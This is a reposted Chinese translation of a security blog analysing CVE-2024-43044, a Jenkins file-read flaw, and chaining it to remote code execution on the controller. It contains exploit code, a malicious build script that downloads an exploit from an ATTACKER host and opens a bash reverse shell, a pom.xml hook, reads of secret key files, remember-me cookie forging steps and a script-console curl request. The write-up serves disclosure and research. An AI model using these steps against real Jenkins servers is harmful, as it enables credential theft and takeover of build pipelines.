CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE


CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

1. 简介

Jenkins 是一种广泛使用的工具,用于自动执行构建、测试和部署软件等任务。它是许多组织开发流程的关键部分。如果攻击者获得 Jenkins 服务器的访问权限,他们可以造成严重破坏,例如窃取凭据、篡改代码,甚至破坏部署。通过访问 Jenkins,攻击者可以篡改软件管道,可能导致开发流程混乱并泄露敏感数据。

在这篇博文中,我们将分析 CVE-2024-43044 的公告,这是 Jenkins 中的一个任意文件读取漏洞。我们将演示如何升级此漏洞,以便在我们设法劫持 Jenkins 代理的情况下在 Jenkins 控制器上实现远程代码执行。

2. Jenkins 架构概述

Jenkins 架构基于控制器/代理,其中 Jenkins 控制器是 Jenkins 安装中的原始节点。Jenkins 控制器管理 Jenkins 代理并协调其工作,包括在代理上调度作业和监控代理 [3]。控制器和代理之间的通信可以是入站(以前称为“JNLP”)或 SSH。

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

使进程间通信成为可能的通信层的实现是在 Remoting/Hudson 库 [4] 中完成的。存储库 [5] 还提供了一些关于 Remoting/Hudson 库如何工作的优秀文档。下图显示了此架构的一些重要组件。

3. 漏洞分析

3.1 通报

Jenkins 团队发布了一份公告 ( SECURITY-3430 / CVE-2024-43044 )[1],指出存在一个任意文件读取漏洞,允许代理从控制器读取文件。这是因为控制器的一个功能允许将 JAR 文件传输给代理。根据公告,问题在于“在控制器上调用的ClassLoaderProxy#fetchJar实现  没有限制代理可以请求从控制器文件系统读取的路径”。

与该漏洞相关的提交中有一个测试[7],其中包含触发该漏洞的代码。

private static class Exploit extends MasterToSlaveCallable<Void, Exception> {    private final URL controllerFilePath;    private final String expectedContent;
public Exploit(URL controllerFilePath, String expectedContent) { this.controllerFilePath = controllerFilePath; this.expectedContent = expectedContent; } @Override public Void call() throws Exception { final ClassLoader ccl = Thread.currentThread().getContextClassLoader(); final Field classLoaderProxyField = ccl.getClass().getDeclaredField("proxy"); classLoaderProxyField.setAccessible(true); final Object theProxy = classLoaderProxyField.get(ccl); final Method fetchJarMethod = theProxy.getClass().getDeclaredMethod("fetchJar", URL.class); fetchJarMethod.setAccessible(true); final byte[] fetchJarResponse = (byte[]) fetchJarMethod.invoke(theProxy, controllerFilePath); assertThat(new String(fetchJarResponse, StandardCharsets.UTF_8), is(expectedContent)); return null; }}

此代码主要访问hudson.remoting.RemoteClassLoader,它负责通过通道从远程对等端加载类文件。具体来说,它访问RemoteClassLoader的代理字段内的 Proxy 对象。此 Proxy 的处理程序是hudson.remoting.RemoteInvocationHandler 的一个实例。

然后,代码使用此处理程序调用fetchJar方法,该方法触发hudson.remoting.RemoteInvocationHandler.invoke方法。这反过来又准备了对控制器的远程过程调用 (RPC)。在控制器端,调用到达hudson.remoting.RemoteClassLoader$ClassLoaderProxy.fetchJar。如下所示,控制器上的fetchJar方法不验证 URL(由用户控制)并在未经验证的情况下读取资源。

// hudson.remoting.RemoteClassLoader$ClassLoaderProxy.fetchJarpublic byte[] fetchJar(URL url) throws IOException {    return Util.readFully(url.openStream());}

下面的图片有助于直观地了解流程:

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

该缺陷可以绕过代理 -> 控制器访问控制系统 [13],该系统自 Jenkins v 2.326 起默认启用,以控制代理对控制器的访问,从而防止其被接管。

3.2 补丁

该补丁引入了一个验证器和一些 Java 系统属性来控制fetchJar功能。

Java 系统属性包括:

  • jenkin.security.s2m.JarURLValidatorImpl.REJECT_ALL – 拒绝任何要获取的 JAR

  • hudson.remoting.Channel.DISABLE_JAR_URL_VALIDATOR – 禁用验证

验证器会验证请求的 URL 是否指向允许的 JAR 文件(来自插件或核心的 JAR 文件),如我们在代码片段中看到的那样:

jenkinsci/remoting/src/main/java/hudson/remoting/RemoteClassLoader.java

public byte[] fetchJar(URL url) throws IOException {    final Object o = channel.getProperty(JarURLValidator.class);    if (o == null) {        final boolean disabled = Boolean.getBoolean(Channel.class.getName() + ".DISABLE_JAR_URL_VALIDATOR");
if (!disabled) { // No hudson.remoting.JarURLValidator has been set for this channel, so all #fetchJar calls are rejected } } else { if (o instanceof JarURLValidator) { ((JarURLValidator) o).validate(url); // [1] Validate the URL // ... } return readFully(url.openStream());}

jenkinsci/jenkins/core/src/main/java/jenkins/security/s2m/JarURLValidatorImpl.java

public void validate(URL url) throws IOException {    final String rejectAllProp = JarURLValidatorImpl.class.getName() + ".REJECT_ALL";    if (SystemProperties.getBoolean(rejectAllProp)) {        //  "Rejecting URL due to configuration    }    final String allowAllProp = Channel.class.getName() + ".DISABLE_JAR_URL_VALIDATOR";    if (SystemProperties.getBoolean(allowAllProp)) {        // Allowing URL due to configuration    }    if (!isAllowedJar(url)) { // [2] Check if allowed URL        // DENY - This URL does not point to a jar file allowed to be requested by agents    } else {        // ALLOW    }}
private static boolean isAllowedJar(URL url) { final ClassLoader classLoader = Jenkins.get().getPluginManager().uberClassLoader; if (classLoader instanceof PluginManager.UberClassLoader) { if (((PluginManager.UberClassLoader) classLoader).isPluginJar(url)) { // ACCEPT - Determined to be plugin jar return true; } }
final ClassLoader coreClassLoader = Jenkins.class.getClassLoader(); if (coreClassLoader instanceof URLClassLoader) { if (Set.of(((URLClassLoader) coreClassLoader).getURLs()).contains(url)) { // ACCEPT - Determined to be core jar return true; } } // DENY - Neither core nor plugin jar return false;}

请查阅咨询以获取更多信息和解决方法。

4. 获取 RCE

4.1 先决条件

在公告中,我们可以看到攻击可以由“代理进程、代理上运行的代码以及具有 Agent/Connect 权限的攻击者” [1] 发起。我们实施的漏洞利用功能十分灵活,既支持入站代理 [15],也支持 SSH 连接。

使用入站代理机密

在此模式下,我们的漏洞利用程序充当启动与控制器连接的自定义代理。要使用它,您将需要以下信息:

  • 目标 Jenkins 服务器 URL;

  • Agent name;

  • Agent secret.

获取此信息的一种方法是,一旦您获得代理节点的访问权限,列出所有正在运行的进程。您可能会在命令行中找到包含这些数据的 Java 进程,因为这是 Jenkins 建议在您配置入站代理后连接入站代理的默认方式。

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

获取此信息的另一种方法是通过凭证泄漏。值得注意的是,您必须在运行我们的代理之前终止正在运行的代理或等待断开连接,因为单个代理无法同时多次连接到 Jenkins 服务器。

以此方式运行漏洞的示例:

java -jar exploit.jar mode_secret http://localhost:8080/ test b55d9b7fede47864572f4d0830a564a83ae78a4f297c1178b7f55601784f645c

附加到正在运行的远程处理进程

在此模式下,我们使用 Java 检测 API [16] 附加到已在运行的 Remoting 进程。我们附加一个将完成漏洞利用的 Java 代理。

当代理/控制器连接通过 SSH 完成时,这尤其有用,因为在此模式下没有代理机密。在控制器中启动的 SSHLauncher 将通过java -jar remoting.jar -workDir WORKDIR -jar-cache WORKDIR/remoting/jarCache 会话执行并重定向其 stdin 和 stdout 以创建与代理通信的通道。

因此,例如,当通过部署在代码存储库中的恶意构建脚本进行攻击时,该代码存储库的构建由 Jenkins 管理(在代理上运行),攻击者将无法检索代理名称/机密,因为这些在此场景中不存在。将有一个 Remoting 进程通过 SSH 上的管道连接到控制器。然后,我们的漏洞利用将找到此进程的 PID,并将 Java 代码注入其中以执行后续步骤。

要使用此模式,您需要提供以下信息:

  1. 目标 Jenkins 服务器 URL。(可选- 漏洞利用将使用通过 SSH 连接的控制器的 IP,并将 Jenkins URL 形成为http://IP:8080/。在这种情况下,必须在机器上安装pgrep、ps和netstat );

  2. 要执行的命令。

下图显示了一个攻击示例,其中管道在不受信任的克隆存储库内运行“mvn package”。假设 Jenkins 配置为不通过内置节点在控制器上本地执行构建。这足以危及 Jenkins 控制器:

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

此设置中的恶意存储库仅需要两个文件:

构建文件

cd /tmpwget http://ATTACKER/exploit.jar -O /tmp/exploit.jarjava -jar exploit.jar mode_attach 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

pom.xml:

...    <build>        <plugins>            <plugin>                <groupId>org.codehaus.mojo</groupId>                <artifactId>exec-maven-plugin</artifactId>                <version>3.1.0</version>                <executions>                    <execution>                        <id>run-build-script</id>                        <phase>package</phase>                        <goals>                            <goal>exec</goal>                        </goals>                        <configuration>                            <executable>bash</executable>                            <arguments>                                <argument>./build.sh</argument>                            </arguments>                        </configuration>                    </execution>                </executions>            </plugin>        </plugins>    </build>...

4.2 读取任意文件

当提供代理密钥/名称时,漏洞会使用它通过 Remoting 库与 Jenkins 服务器建立连接。我们使用 Engine 类并等待连接建立。但是,当连接到现有的连接代理时,我们会跳过这些步骤。

然后我们从其中一个正在运行的线程中获取hudson.remoting.RemoteClassLoader的实例。

public ClassLoader getRemoteClassLoader() {    boolean found = false;    ClassLoader temp = null;    while (!found) {        for (Thread thread : Thread.getAllStackTraces().keySet()) {            temp = thread.getContextClassLoader();            if (temp == null) continue;            String className = temp.getClass().getName();            if (className.equals("hudson.remoting.RemoteClassLoader")) {                found = true;                break;            }        }        try {            Thread.sleep(1000);        } catch(Exception e) {}    }    return temp;}

我们用它来创建一个处理fetchJar()方法调用的读取器对象。

if (this.ccl == null) this.ccl = this.getRemoteClassLoader();
this.reader = new RemoteFileReader(this.ccl);

有了这个对象,我们可以使用它从服务器加载文件。不需要遍历路径,您可以通过指定文件的完整路径来请求文件,例如:

this.reader.readAsString("file:///etc/passwd");

4.3 伪造有效用户的cookie

该公告 [1] 确认此漏洞可以实现 RCE,并指出了第二份公告 [2],该公告针对 2024 年 1 月发布的另一个文件读取漏洞,其中列举了一些利用 Jenkins 中此类缺陷实现 RCE 的方法。

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

其中一种方法引起了我们的注意,因为它不需要任何配置更改,也就是说,它可以在默认安装下工作。通过“记住我”cookie技术执行远程代码包括伪造管理员帐户的记住我 cookie,允许攻击者登录应用程序并访问脚本控制台以执行命令。

该技术的要求是:

  1. “记住我”功能已启用(默认)。

  2. 攻击者可以检索二进制秘密。

  3. 攻击者拥有总体/读取权限,可以读取文件中前几行以外的内容。

该漏洞满足这些要求,因为它可用于读取二进制文件和文件的全部内容。

为了制作有效的 Cookie,需要一些数据。在我们的实现中,我们采用了这种方法:

  1. 读取$JENKINS_HOME/users/users.xml文件以获取在 Jenkins 服务器上拥有账户的用户列表;

  2. 读取每个$JENKINS_HOME/users/*.xml文件以提取用户信息,例如:用户名、用户种子、时间戳和密码哈希;

  3. 读取cookie签名所需的文件:

  • $JENKINS_HOME/secret.key

  • $JENKINS_HOME/secrets/master.key

  • $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

一旦我们有了这些数据,我们就复制 Jenkins cookie 签名算法 [8],该算法可以用以下伪代码来描述 [6]:

// Calculate tokenExpiryTime (current server time in milliseconds + 1 hour)tokenExpiryTime = currentServerTimeInMillis() + 3600000
// Concatenate data to generate tokentoken = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
// Obtaining the MAC key by decrypting org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac using master.key as AES128 keykey = toAes128Key(masterKey)decrypted = AES.decrypt(macFile, key)
// Checking the presence of the "::::MAGIC::::" suffix in the decrypted data (and removing it to obtain the actual MAC key)if not decrypted.hasSuffix("::::MAGIC::::") return ERROR;macKey = decrypted.withoutSuffix("::::MAGIC::::")
// Calculating the HmacSHA256 of the token using this MAC keymac = HmacSHA256(token, macKey)tokenSignature = bytesToHexString(mac)
// Concatenating username + tokenExpiryTime + tokenSignature and base64 encoding it to generate the cookiecookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)

该 cookie 可以在对 Jenkins Web 应用程序的请求中作为“Cookie:remember-me=VALUE”发送。

4.4 代码执行

一旦我们有了记住我的 cookie,我们就可以在/crumbIssuer/api/json请求 CSRF 令牌(名为Jenkins-Crumb ) 。由于这两个是关联的,因此也要获取响应中收到的JSESSIONID cookie。

之后,我们向/scriptText发送一个 POST 请求,将 Jenkins-Crumb 值作为 header 传递,将 JSESSIONID 值作为 cookie 传递,同时传递 Remember-me cookie。要执行的 Groovy 代码通过名为“script”的 POST 参数传递。

我们的代码会自动完成所有这些操作。代表此最终请求的 curl 命令如下:

curl -X POST "$JENKINS_URL/scriptText" --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" --header "Jenkins-Crumb: $CRUMB" --header "Content-Type: application/x-www-form-urlencoded" --data-urlencode "script=$SCRIPT"

使用 Groovy 执行命令非常简单,只需执行:

println "uname -a".execute().text

4.5 漏洞摘要

以下是我们利用漏洞的步骤的回顾:

  1. 获取 hudson.remoting.RemoteClassLoader 的引用;

  2. 用它创建一个文件读取器;

  3. 读取必要的文件(总共 3 个)来为给定用户伪造 cookie;

  4. 读取 Jenkins 用户列表;

  5. 读取有关每个用户的信息(id、时间戳、种子和哈希值);

  6. 为用户伪造一个记住我的 cookie,直到我们获得 Jenkins 脚本引擎的访问权限;

  7. 使用Jenkins脚本引擎执行系统命令;

  8. 以 John the Ripper [14] 可以破解的格式转储用户名和哈希值。

4.6 演示

下面的 GIF 图像展示了使用入站代理名称/机密对 Jenkins Docker v. 2.441 [9] 进行成功攻击的过程:

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

值得注意的是,我们仅在 Jenkins Docker 上测试了我们的漏洞,但我们相信它应该可以在其他安装上运行,只需进行很少或根本不需要任何更改。

漏洞代码可在此处找到:

https://github.com/conisolabs/CVE-2024-43044-jenkins

5. 结论

在这篇文章中,我们描述了利用与 CVE-2024-43044 相关的漏洞在易受攻击的 Jenkins 服务器上实现 RCE 的方法。尽管有许多使用 Jenkins 的不同环境没有涉及,但我们精心设计了漏洞利用程序,以便轻松适应其他研究人员的需求。我们还认为,某些部分可能会在其他针对 Jenkins 文件读取漏洞的漏洞利用程序中重复使用。

如果您想评估您的 CI/CD 管道基础设施,Conviso 可以提供帮助。联系我们,我们将为您的团队提供帮助。

6. 参考文献

https://www.jenkins.io/security/advisory/2024-08-07/#SECURITY-3430

https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314

https://www.jenkins.io/doc/book/using/using-agents/

https://www.jenkins.io/projects/remoting/

https://github.com/hudson/www/

https://gist.github.com/mtiennnnn/551b7320c064db02aad815c6bdb91d9

https://github.com/jenkinsci/jenkins/blob/203b6a6c851697e83aefc37d1812bfde06390bfe/test/src/test/java/jenkins/security/Security3430Test.java#L244

https://github.com/jenkinsci/jenkins/blob/jenkins-2.470/core/src/main/java/hudson/security/TokenBasedRememberMeServices2.java#L174

https://hub.docker.com/r/jenkins/jenkins

https://www.jenkins.io/doc/book/managing/system-properties/

https://naiwaen.debuggingsoft.com/blog/wp-content/uploads/2022/06/2022-05-28_201016.jpg

https://github.com/advisories/GHSA-h856-ffvv-xvr4

https://www.jenkins.io/doc/book/security/controller-isolation/#agent-controller-access-control

https://www.openwall.com/john/

https://github.com/jenkinsci/remoting/blob/master/docs/inbound-agent.md

https://www.baeldung.com/java-instrumentation



感谢您抽出

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

.

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

.

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

来阅读本文

CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

版权声明:admin 发表于 2024年8月30日 下午2:29。
转载请注明:CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE | CTF导航

相关文章